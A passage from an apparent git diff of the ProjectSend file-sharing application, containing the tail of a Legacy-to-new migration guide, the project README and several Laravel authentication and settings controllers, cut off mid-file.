decision a tool should make quietly.
|
||||
|
||||
### The new install has to be empty
|
||||
|
||||
Set up, but not used. Create the administrator, then migrate — don't upload files or add clients
|
||||
first. There are no merge semantics, and "empty" is exactly what makes the undo trustworthy.
|
||||
|
||||
### A background worker has to be running
|
||||
|
||||
A real import outlives any web request. The screen queues a job and polls; without a worker the run
|
||||
sits at "pending" forever. In Docker the worker container is already running. On a manual install,
|
||||
see [the worker section of INSTALL.md](INSTALL.md#the-background-worker).
|
||||
|
||||
---
|
||||
|
||||
## What comes across
|
||||
|
||||
Everything in this list, in this order — it follows the dependency graph, so accounts exist before
|
||||
the things that point at them:
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| **Settings** | The ~43 Legacy options that have a ProjectSend equivalent, plus your mail/SMTP configuration |
|
||||
| **CAPTCHA keys** | Every reCAPTCHA and Turnstile key pair you had, and which service was switched on. They arrive encrypted, where Legacy kept them in plain text |
|
||||
| **Roles and permissions** | Including the per-role permission sets |
|
||||
| **Accounts** | Staff and clients, with their password hashes, disk quotas and custom fields |
|
||||
| **Groups** | Members and pending membership requests |
|
||||
| **Categories** | Flattened — see the note below |
|
||||
| **Folders** | The tree, and who each folder is assigned to |
|
||||
| **Files** | The rows *and* the bytes, with their descriptions, expiry dates, public flags and download limits |
|
||||
| **Assignments** | Which clients and groups each file was shared with, and its categories |
|
||||
| **History** | Every download, and the activity log |
|
||||
|
||||
**Categories are flattened.** Legacy nested them; ProjectSend does not. Every category that had a
|
||||
parent takes its whole ancestry as its name — `Clients / Acme / Invoices` — and a root category
|
||||
keeps its bare name. Nothing merges and nothing is dropped, so no file loses a tag.
|
||||
|
||||
**Download counts come with the downloads.** If a file had a download limit of 3 in Legacy and had
|
||||
already been taken twice, it arrives here with one download left, not three.
|
||||
|
||||
### What does not, and why
|
||||
|
||||
The tool reports each of these before it starts and names every affected row. It never guesses.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| **Files encrypted at rest** | ProjectSend has no at-rest encryption, and the per-file keys are wrapped by a master key that exists only in Legacy's `sys.config.php` |
|
||||
| **Files on S3, GCS or Azure** | Legacy configured external storage per file; ProjectSend has one bucket for everything |
|
||||
| **Hidden assignments** | ProjectSend has no hidden state, and creating the assignment anyway would show people files that were hidden from them |
|
||||
| **Two-factor secrets** | Encrypted with Legacy's key. Those users re-enrol |
|
||||
| **Email templates** | The placeholder vocabulary is different, so importing them verbatim produces emails with broken tokens — worse than starting from the defaults |
|
||||
| **Legacy options with no equivalent** | ProjectSend has ~43 settings where Legacy had ~180 |
|
||||
| **Thumbnails** | A derived cache. ProjectSend regenerates them on first request |
|
||||
|
||||
---
|
||||
|
||||
## Step 1 — Install the tool
|
||||
|
||||
On the **new** install:
|
||||
|
||||
```sh
|
||||
composer require projectsend/v1-migration-tool
|
||||
php artisan migrate # creates the tool's two tables
|
||||
npm run build # so its screen enters the frontend bundle
|
||||
```
|
||||
|
||||
In Docker, prefix each with `docker compose exec app` (except `npm run build`, which runs on the
|
||||
host).
|
||||
|
||||
> While the repository is private, `composer require` needs to be told where to find it — add a
|
||||
> `vcs` entry to your `composer.json` `repositories` and give Composer credentials for the repo:
|
||||
>
|
||||
> ```json
|
||||
> "repositories": [
|
||||
> { "type": "vcs", "url": "https://github.com/projectsend/v1-migration-tool" }
|
||||
> ]
|
||||
> ```
|
||||
|
||||
Then open **`/system/migrate`** on your new install, signed in as a staff user with the *Edit
|
||||
settings* permission. There is no sidebar link — a one-time tool does not earn a permanent slot in
|
||||
the navigation of an install that will use it once.
|
||||
|
||||
Everything below can also be done entirely from the command line; the equivalent commands are
|
||||
listed at each step.
|
||||
|
||||
---
|
||||
|
||||
## Step 2 — Pick your route
|
||||
|
||||
| Your situation | Use |
|
||||
|---|---|
|
||||
| Legacy and ProjectSend are on the **same machine** | [**Direct**](#step-3a--direct-same-machine) |
|
||||
| Legacy is on **another server**, or on hosting you cannot reach from the new box | [**Bundle**](#step-3b--bundle-different-machines) |
|
||||
|
||||
Direct is faster and simpler, and on a single filesystem it does not copy your files at all — it
|
||||
hardlinks them, so 400 GB migrates in seconds and both installs point at the same bytes until you
|
||||
decide otherwise. Use it if you can.
|
||||
|
||||
---
|
||||
|
||||
## Step 3a — Direct (same machine)
|
||||
|
||||
Point the tool at your Legacy install directory. It reads the database credentials out of
|
||||
`includes/sys.config.php` itself, so there is usually nothing to type but the path:
|
||||
|
||||
```sh
|
||||
php artisan projectsend:migrate:preflight --v1-path=/var/www/projectsend-legacy
|
||||
```
|
||||
|
||||
On the screen, choose **Direct**, enter the same path, and pick how to move file bytes:
|
||||
|
||||
| `--files=` | What it does |
|
||||
|---|---|
|
||||
| `hardlink` | A second directory entry for the same bytes. Instant, costs no disk, leaves Legacy completely intact. Only works within one filesystem, and falls back to copying across a boundary rather than failing |
|
||||
| `copy` | **Default.** The only strategy that is always correct, and it checksums what it writes as it writes it |
|
||||
| `move` | Takes the bytes out of Legacy. Fast and frees disk — and **cannot be undone** |
|
||||
| `defer` | Writes no bytes at all. For importing the database now and moving half a terabyte overnight |
|
||||
|
||||
If ProjectSend runs in Docker, the Legacy directory has to be visible **inside the app container**
|
||||
— bind-mount it there, and use the container's path, not the host's.
|
||||
|
||||
---
|
||||
|
||||
## Step 3b — Bundle (different machines)
|
||||
|
||||
Run one dependency-free PHP file on the Legacy box; it produces a portable directory you bring
|
||||
over. Download it from `/system/migrate` (there is a link on the screen) or take it from the
|
||||
package at `bin/projectsend-v1-export.php`.
|
||||
|
||||
On the **Legacy** server:
|
||||
|
||||
```sh
|
||||
php projectsend-v1-export.php --preflight # look before you leap
|
||||
php projectsend-v1-export.php --out=/tmp/ps-export # write the bundle
|
||||
```
|
||||
|
||||
It searches upwards from itself for `includes/sys.config.php`; pass `--install=/var/www/projectsend`
|
||||
if you put it somewhere else. It never writes to the Legacy install.
|
||||
|
||||
**In the `linuxserver/projectsend` container**, where the app lives at `/app/www/public`, uploads
|
||||
are a symlink to `/data/projectsend` and the config is a symlink to
|
||||
`/config/projectsend/sys.config.php`:
|
||||
|
||||
```sh
|
||||
docker exec projectsend php /app/www/public/projectsend-v1-export.php --out=/data/ps-export
|
||||
```
|
||||
|
||||
That lands the bundle on the host's own `/data` bind mount. Both symlinks are followed; nothing
|
||||
else is needed.
|
||||
|
||||
### Bundles and file bytes
|
||||
|
||||
By default the exporter records an **inventory** of every file — path and size — without moving a
|
||||
byte. That is the only sane choice above a few gigabytes, and it means the bundle is small enough
|
||||
to copy anywhere.
|
||||
|
||||
Move the files separately, at your own pace, into a `files/` directory inside the bundle:
|
||||
|
||||
```sh
|
||||
rsync -a legacy-server:/var/www/projectsend/upload/files/ /tmp/ps-export/files/
|
||||
```
|
||||
|
||||
The import finds them there. If you would rather have everything in one object, export with
|
||||
`--files=copy` instead — convenient, and it doubles the disk you need on the Legacy box.
|
||||
|
||||
Then copy the bundle to the new server, choose **Bundle** on the screen and give it the path (again,
|
||||
the path *inside* the app container if you are using Docker):
|
||||
|
||||
```sh
|
||||
php artisan projectsend:migrate:preflight --bundle=/srv/ps-export
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Step 4 — Read the preflight
|
||||
|
||||
Preflight changes nothing. It reports what it found — how many accounts, files, downloads and
|
||||
activity rows — and separates its findings into three kinds:
|
||||
|
||||
- **Blockers.** Duplicate, blank or invalid email addresses; a schema mismatch. The run will not
|
||||
start until these are fixed.
|
||||
- **Acknowledgements.** Things with no equivalent here, from the list above. You confirm you have
|
||||
read them; the run then skips those rows and lists them in its report.
|
||||
- **Notes.** For information — file rows whose bytes are already gone from the Legacy disk, for
|
||||
instance, which is common on old installs.
|
||||
|
||||
Fix the blockers **in your Legacy install** (that is the one place a duplicate email can be
|
||||
resolved by a human who knows which client is which), then run preflight again.
|
||||
|
||||
---
|
||||
|
||||
## Step 5 — Import
|
||||
|
||||
Press the button, or:
|
||||
|
||||
```sh
|
||||
php artisan projectsend:migrate:import --v1-path=/var/www/projectsend-legacy --files=hardlink
|
||||
php artisan projectsend:migrate:import --bundle=/srv/ps-export
|
||||
```
|
||||
|
||||
Add `--accept-skips` to acknowledge the findings from step 4 non-interactively.
|
||||
|
||||
The screen shows progress per phase and keeps working if you close the tab — the run is a database
|
||||
row, not a browser session. If the worker is restarted mid-import it picks up where it left off;
|
||||
chunks are checkpointed, and rows already written are never written twice.
|
||||
|
||||
History is imported last on purpose. It is the largest part by an order of magnitude, and it is the
|
||||
one part you could reasonably abandon halfway with everything that matters already in.
|
||||
|
||||
---
|
||||
|
||||
## Step 6 — Check it
|
||||
|
||||
```sh
|
||||
php artisan projectsend:migrate:verify
|
||||
```
|
||||
|
||||
Every entity is checked as an equation: imported + deliberately skipped = what Legacy had. A number
|
||||
that does not add up is reported as a bug in the tool, not as a warning about your data. It also
|
||||
checks that imported files actually have bytes at the path they claim — the check that catches a
|
||||
transfer failing quietly, which is the difference between a migration and a database full of broken
|
||||
download links.
|
||||
|
||||
Then look at it yourself. Sign in, open the file library, open a client's portal, download
|
||||
something.
|
||||
|
||||
---
|
||||
|
||||
## Undoing it
|
||||
|
||||
```sh
|
||||
php artisan projectsend:migrate:reset
|
||||
```
|
||||
|
||||
Every run records exactly what it created, so this puts the install back to how it was — including
|
||||
anything that existed before the run, which is left alone. Try the migration, look at the result,
|
||||
adjust, run it again.
|
||||
|
||||
The one exception is `--files=move`, which took the bytes out of your Legacy install. Deleting the
|
||||
rows afterwards leaves them nowhere. The command tells you this before it does anything, not after.
|
||||
|
||||
---
|
||||
|
||||
## Cutting over
|
||||
|
||||
Once you are satisfied:
|
||||
|
||||
1. **Tell your clients their login changed** — email address instead of username, same password. The
|
||||
run report gives you the list of who and what, including the handful (if any) whose password
|
||||
could not be read and who need **Forgot password** once.
|
||||
2. Keep the Legacy install running read-only for a while if you can. Nothing was taken from it
|
||||
(unless you used `--files=move`), so it stays a working reference.
|
||||
3. Remove the tool:
|
||||
|
||||
```sh
|
||||
php artisan projectsend:migrate:reset --drop # also drops the tool's own tables
|
||||
composer remove projectsend/v1-migration-tool
|
||||
```
|
||||
|
||||
`--drop` throws away the Legacy → ProjectSend id map. **Keep it** if you may ever want to redirect
|
||||
old `download.php?id=…` links, because it is the only thing that can resolve them. Removing the
|
||||
package without `--drop` leaves the two tables behind harmlessly.
|
||||
|
||||
---
|
||||
|
||||
## Large installs
|
||||
|
||||
The awkward cases are not the complicated ones, they are the big ones: 200,000 small files, or
|
||||
400 GB of one client's raw footage, or five million rows of download history. Three options exist
|
||||
for exactly that.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| `--files=hardlink` | The 400 GB case. No bytes are copied; both installs point at the same inodes. Same filesystem only |
|
||||
| `--files=defer` | Import the database tonight, `rsync` the files over the next two days, attach them afterwards |
|
||||
| `--history=none` | Skip downloads and the activity log entirely. Everything that matters is still imported; you lose the counts and the log |
|
||||
|
||||
`--history=none` has one visible consequence worth knowing: a file that carried a download limit
|
||||
arrives with a **full** allowance, because the downloads that had already been spent against it are
|
||||
what the count is derived from.
|
||||
|
||||
Two practical notes for big runs:
|
||||
|
||||
- Give the queue worker room. One worker is enough; it is one long job, not many.
|
||||
- On a bundle, the file inventory (`--files=inventory`, the default) is what keeps the export
|
||||
itself small enough to move.
|
||||
|
||||
---
|
||||
|
||||
## When something goes wrong
|
||||
|
||||
**"This install already has content."** The tool imports into a fresh ProjectSend only. Either use a
|
||||
genuinely new install, or `php artisan projectsend:migrate:reset` if the content came from a
|
||||
previous run of the tool itself.
|
||||
|
||||
**The run sits at "pending" and nothing happens.** No queue worker. See
|
||||
[INSTALL.md](INSTALL.md#the-background-worker).
|
||||
|
||||
**"No manifest.json in … — this is not a ProjectSend v1 export bundle."** The path points at the
|
||||
wrong directory, or at the parent of the bundle rather than the bundle.
|
||||
|
||||
**A schema mismatch at preflight.** The tool declares every table and column it writes and checks
|
||||
them before it starts, so this stops the run rather than failing halfway through 200,000 rows.
|
||||
Update ProjectSend to a version that has what the tool expects — or update the tool.
|
||||
|
||||
**Files import but download as 404.** The bytes did not move. Run
|
||||
`php artisan projectsend:migrate:verify`, which checks precisely this. A common cause in Docker is
|
||||
a Legacy directory that is visible on the host but not inside the app container.
|
||||
|
||||
**Uploads and database seem to vanish after a Docker restart.** That is not the migration — read
|
||||
[DOCKER.md](DOCKER.md) before putting real files into any Docker install.
|
||||
@@ -0,0 +1,122 @@
|
||||
<p align="center">
|
||||
<img src="public/favicon.svg" alt="" width="84">
|
||||
</p>
|
||||
|
||||
<h1 align="center">ProjectSend</h1>
|
||||
|
||||
<p align="center">
|
||||
<strong>Share files with your clients, from your own server.</strong>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="LICENSE"><img alt="License: GPL v2 or later" src="https://img.shields.io/badge/license-GPLv2%2B-3b5bdb"></a>
|
||||
<img alt="PHP 8.4+" src="https://img.shields.io/badge/PHP-8.4%2B-777bb4">
|
||||
<img alt="Self-hosted" src="https://img.shields.io/badge/self--hosted-Docker%20or%20zip-0b7285">
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
ProjectSend is a self-hosted application for getting files to the people you work with. You upload
|
||||
what you want to send, choose exactly who can see it, and each client signs in to their own private
|
||||
page to download it.
|
||||
|
||||
No public link passed around by email, no third-party service holding your clients' documents, no
|
||||
per-seat pricing. It runs on your server, and the files stay there.
|
||||
|
||||
## What it does
|
||||
|
||||
**For the people you send to**
|
||||
- A private area per client, showing only what has been shared with them
|
||||
- Sign in with an email address, with optional two-factor authentication
|
||||
- Search, filter and sort their files; download one, several as a zip, or a whole folder
|
||||
- Optional comments on a file, so questions live next to the thing they are about
|
||||
- Email notifications when something new arrives, in their own language
|
||||
|
||||
**For you**
|
||||
- Resumable uploads that survive a dropped connection, so large files actually arrive
|
||||
- Organise with folders, categories and client groups
|
||||
- Share with one client, a whole group, or publicly — and set an expiry date or a download limit
|
||||
- Thumbnails and previews for images and documents
|
||||
- Storage quotas per client, and custom fields for the details you need to keep on them
|
||||
- A full activity log and download history: who got what, and when
|
||||
|
||||
**For the installation**
|
||||
- Roles and permissions for your own team, so an uploader is not an administrator
|
||||
- Sign-in the way you already work: LDAP, social sign-in, or plain email and password
|
||||
- Themes for the client-facing pages and for outgoing email
|
||||
- 16 languages
|
||||
- A REST API with scoped tokens and generated OpenAPI docs
|
||||
- Privacy controls, including GDPR-grade account erasure with a grace period
|
||||
- Local disk or S3-compatible storage
|
||||
|
||||
## Screenshots
|
||||
|
||||
<p align="center">
|
||||
<img src=".github/screenshots/dashboard.png" alt="The dashboard, showing counters for files, clients and groups alongside largest files, recent activity and system information" width="900">
|
||||
</p>
|
||||
<p align="center"><em>The dashboard — what is in the installation, and what has been happening in it.</em></p>
|
||||
|
||||
<p align="center">
|
||||
<img src=".github/screenshots/files.png" alt="The file library, showing folders and files with thumbnails, sharing status and download counts" width="900">
|
||||
</p>
|
||||
<p align="center"><em>Your library — folders, categories, and who each file is shared with.</em></p>
|
||||
|
||||
<p align="center">
|
||||
<img src=".github/screenshots/portal.png" alt="A client's own page, listing the files shared with them with download buttons" width="900">
|
||||
</p>
|
||||
<p align="center"><em>What your client sees — only their files, nothing else.</em></p>
|
||||
|
||||
## Getting started
|
||||
|
||||
**With Docker** — the quickest path, and the one we recommend.
|
||||
|
||||
```sh
|
||||
git clone https://github.com/projectsend/projectsend.git
|
||||
cd projectsend
|
||||
cp .env.example .env # set PROJECTSEND_EDITION=community
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
The app is at `http://localhost:8090`, and the first thing it shows you is a setup screen that
|
||||
creates your administrator account.
|
||||
|
||||
Before you put real files in it, read **[DOCKER.md](DOCKER.md)** — where your database and uploads
|
||||
actually live, how to move them onto paths you chose, and how to back them up so an upgrade can't
|
||||
take them with it.
|
||||
|
||||
**Without Docker** — for servers where it isn't an option, install from a release zip.
|
||||
**[INSTALL.md](INSTALL.md)** covers requirements, `.env`, nginx, the background worker and cron,
|
||||
updating and troubleshooting. You do not need Composer or npm on the server; the zip ships ready to
|
||||
run.
|
||||
|
||||
## Coming from ProjectSend Legacy?
|
||||
|
||||
The previous generation of ProjectSend lives on at
|
||||
[projectsend/legacy](https://github.com/projectsend/legacy). This is a rebuild rather than an
|
||||
upgrade, so moving across is an import rather than an update — install fresh, then bring your old
|
||||
site into it with the
|
||||
[migration tool](https://github.com/projectsend/v1-migration-tool): accounts, clients, groups,
|
||||
categories, folders, files and history.
|
||||
|
||||
It never writes to your old install, and any run can be undone with a single command.
|
||||
**[MIGRATING-FROM-V1.md](MIGRATING-FROM-V1.md)** explains what comes across, the two routes
|
||||
(same machine, or a portable export from a server you can't reach), and the one change your clients
|
||||
will notice: they sign in with their email address now, using the same password.
|
||||
|
||||
## Contributing
|
||||
|
||||
Bug reports, translations and pull requests are all welcome — see
|
||||
**[CONTRIBUTING.md](CONTRIBUTING.md)** for how to set up a development copy, what the checks are,
|
||||
and the contributor agreement.
|
||||
|
||||
Found a security issue? Please report it privately through GitHub's security advisories rather than
|
||||
opening a public issue.
|
||||
|
||||
## License
|
||||
|
||||
Free software under the **GNU General Public License v2, or (at your option) any later version** —
|
||||
see [LICENSE](LICENSE). Use it, study it, change it, share it.
|
||||
|
||||
Commercial licenses are available for organizations that cannot work under copyleft terms;
|
||||
[LICENSING.md](LICENSING.md) explains both options. Contributions require signing a CLA, for reasons
|
||||
set out in [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
@@ -0,0 +1,56 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Auth;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Http\Requests\Auth\LoginRequest;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
class AuthenticatedSessionController extends Controller
|
||||
{
|
||||
/**
|
||||
* Show the login page.
|
||||
*/
|
||||
public function create(Request $request): Response
|
||||
{
|
||||
return Inertia::render('auth/login', [
|
||||
'canResetPassword' => Route::has('password.request'),
|
||||
'canRegister' => app(Settings::class)->get(Setting::ClientsCanRegister) === true,
|
||||
'status' => $request->session()->get('status'),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle an incoming authentication request.
|
||||
*/
|
||||
public function store(LoginRequest $request): RedirectResponse
|
||||
{
|
||||
if ($request->authenticate()) {
|
||||
return redirect()->route('two-factor.challenge');
|
||||
}
|
||||
|
||||
$request->session()->regenerate();
|
||||
|
||||
return redirect()->intended(route('dashboard', absolute: false));
|
||||
}
|
||||
|
||||
/**
|
||||
* Destroy an authenticated session.
|
||||
*/
|
||||
public function destroy(Request $request): RedirectResponse
|
||||
{
|
||||
Auth::guard('web')->logout();
|
||||
|
||||
$request->session()->invalidate();
|
||||
$request->session()->regenerateToken();
|
||||
|
||||
return redirect('/');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Auth;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
class ConfirmablePasswordController extends Controller
|
||||
{
|
||||
/**
|
||||
* Show the confirm password page.
|
||||
*/
|
||||
public function show(): Response
|
||||
{
|
||||
return Inertia::render('auth/confirm-password');
|
||||
}
|
||||
|
||||
/**
|
||||
* Confirm the user's password.
|
||||
*/
|
||||
public function store(Request $request): RedirectResponse
|
||||
{
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
if (! Auth::guard('web')->validate([
|
||||
'email' => $user->email,
|
||||
'password' => $request->password,
|
||||
])) {
|
||||
throw ValidationException::withMessages([
|
||||
'password' => __('auth.password'),
|
||||
]);
|
||||
}
|
||||
|
||||
$request->session()->put('auth.password_confirmed_at', time());
|
||||
|
||||
return redirect()->intended(route('dashboard', absolute: false));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Auth;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class EmailVerificationNotificationController extends Controller
|
||||
{
|
||||
/**
|
||||
* Send a new email verification notification.
|
||||
*/
|
||||
public function store(Request $request): RedirectResponse
|
||||
{
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
if ($user->hasVerifiedEmail()) {
|
||||
return redirect()->intended(route('dashboard', absolute: false));
|
||||
}
|
||||
|
||||
$user->sendEmailVerificationNotification();
|
||||
|
||||
return back()->with('status', 'verification-link-sent');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Auth;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
class EmailVerificationPromptController extends Controller
|
||||
{
|
||||
/**
|
||||
* Show the email verification prompt page.
|
||||
*/
|
||||
public function __invoke(Request $request): Response|RedirectResponse
|
||||
{
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
return $user->hasVerifiedEmail()
|
||||
? redirect()->intended(route('dashboard', absolute: false))
|
||||
: Inertia::render('auth/verify-email', ['status' => $request->session()->get('status')]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Auth;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Auth\Events\PasswordReset;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Support\Facades\Password;
|
||||
use Illuminate\Support\Str;
|
||||
use Illuminate\Validation\Rules;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
class NewPasswordController extends Controller
|
||||
{
|
||||
/**
|
||||
* Show the password reset page.
|
||||
*/
|
||||
public function create(Request $request): Response
|
||||
{
|
||||
return Inertia::render('auth/reset-password', [
|
||||
'email' => $request->email,
|
||||
'token' => $request->route('token'),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle an incoming new password request.
|
||||
*
|
||||
* @throws ValidationException
|
||||
*/
|
||||
public function store(Request $request): RedirectResponse
|
||||
{
|
||||
$request->validate([
|
||||
'token' => 'required',
|
||||
'email' => 'required|email',
|
||||
'password' => ['required', 'confirmed', Rules\Password::defaults()],
|
||||
]);
|
||||
|
||||
// Here we will attempt to reset the user's password. If it is successful we
|
||||
// will update the password on an actual user model and persist it to the
|
||||
// database. Otherwise we will parse the error and return the response.
|
||||
$status = Password::reset(
|
||||
$request->only('email', 'password', 'password_confirmation', 'token'),
|
||||
function ($user) use ($request) {
|
||||
$user->forceFill([
|
||||
'password' => Hash::make($request->password),
|
||||
'remember_token' => Str::random(60),
|
||||
])->save();
|
||||
|
||||
event(new PasswordReset($user));
|
||||
}
|
||||
);
|
||||
|
||||
// If the password was successfully reset, we will redirect the user back to
|
||||
// the application's home authenticated view. If there is an error we can
|
||||
// redirect them back to where they came from with their error message.
|
||||
if ($status == Password::PasswordReset) {
|
||||
return to_route('login')->with('status', __($status));
|
||||
}
|
||||
|
||||
throw ValidationException::withMessages([
|
||||
'email' => [__($status)],
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Auth;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Modules\Platform\Captcha\CaptchaForm;
|
||||
use App\Support\Rules;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Password;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
class PasswordResetLinkController extends Controller
|
||||
{
|
||||
/**
|
||||
* Show the password reset link request page.
|
||||
*/
|
||||
public function create(Request $request): Response
|
||||
{
|
||||
return Inertia::render('auth/forgot-password', [
|
||||
'status' => $request->session()->get('status'),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle an incoming password reset link request.
|
||||
*
|
||||
* @throws ValidationException
|
||||
*/
|
||||
public function store(Request $request): RedirectResponse
|
||||
{
|
||||
$request->validate([
|
||||
'email' => ['required', 'email'],
|
||||
...Rules::captcha(CaptchaForm::PasswordReset),
|
||||
]);
|
||||
|
||||
Password::sendResetLink(
|
||||
$request->only('email')
|
||||
);
|
||||
|
||||
return back()->with('status', __('A reset link will be sent if the account exists.'));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Auth;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Auth\Events\Verified;
|
||||
use Illuminate\Contracts\Auth\MustVerifyEmail;
|
||||
use Illuminate\Foundation\Auth\EmailVerificationRequest;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
|
||||
class VerifyEmailController extends Controller
|
||||
{
|
||||
/**
|
||||
* Mark the authenticated user's email address as verified.
|
||||
*/
|
||||
public function __invoke(EmailVerificationRequest $request): RedirectResponse
|
||||
{
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
if ($user->hasVerifiedEmail()) {
|
||||
return redirect()->intended(route('dashboard', absolute: false).'?verified=1');
|
||||
}
|
||||
|
||||
if ($user->markEmailAsVerified()) {
|
||||
/** @var MustVerifyEmail $verified */
|
||||
$verified = $user;
|
||||
|
||||
event(new Verified($verified));
|
||||
}
|
||||
|
||||
return redirect()->intended(route('dashboard', absolute: false).'?verified=1');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers;
|
||||
|
||||
abstract class Controller
|
||||
{
|
||||
//
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Settings;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use Illuminate\Contracts\Auth\MustVerifyEmail;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Validation\Rules\Password;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
class PasswordController extends Controller
|
||||
{
|
||||
/**
|
||||
* Show the user's password settings page.
|
||||
*/
|
||||
public function edit(Request $request): Response
|
||||
{
|
||||
return Inertia::render('settings/password', [
|
||||
'mustVerifyEmail' => $request->user() instanceof MustVerifyEmail,
|
||||
'status' => $request->session()->get('status'),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Update the user's password.
|
||||
*/
|
||||
public function update(Request $request): RedirectResponse
|
||||
{
|
||||
$validated = $request->validate([
|
||||
'current_password' => ['required', 'current_password'],
|
||||
'password' => ['required', Password::defaults(), 'confirmed'],
|
||||
]);
|
||||
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
$user->update([
|
||||
'password' => Hash::make($validated['password']),
|
||||
]);
|
||||
|
||||
// Changing a password is how someone reacts to a session they think
|
||||
// is stolen, so it has to actually end that session. AuthenticateSession
|
||||
// (registered on the web group) compares each request's stored
|
||||
// password hash against the current one and logs out on mismatch;
|
||||
// this re-stamps the current session so the person doing the change
|
||||
// stays signed in while every other session falls over on its next
|
||||
// request.
|
||||
Auth::logoutOtherDevices($validated['password']);
|
||||
|
||||
app(ActivityLogger::class)->log(Action::PasswordUpdated, $user);
|
||||
|
||||
return back();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Settings;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Http\Requests\Settings\ProfileUpdateRequest;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use App\Modules\Clients\ClientFieldContext;
|
||||
use App\Modules\Clients\ClientPortalCustomFields;
|
||||
use App\Modules\Platform\Localization\TimezoneRegistry;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use Illuminate\Contracts\Auth\MustVerifyEmail;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
class ProfileController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ClientPortalCustomFields $customFields,
|
||||
private readonly TimezoneRegistry $timezones,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Show the user's profile settings page.
|
||||
*/
|
||||
public function edit(Request $request): Response
|
||||
{
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
return Inertia::render('settings/profile', [
|
||||
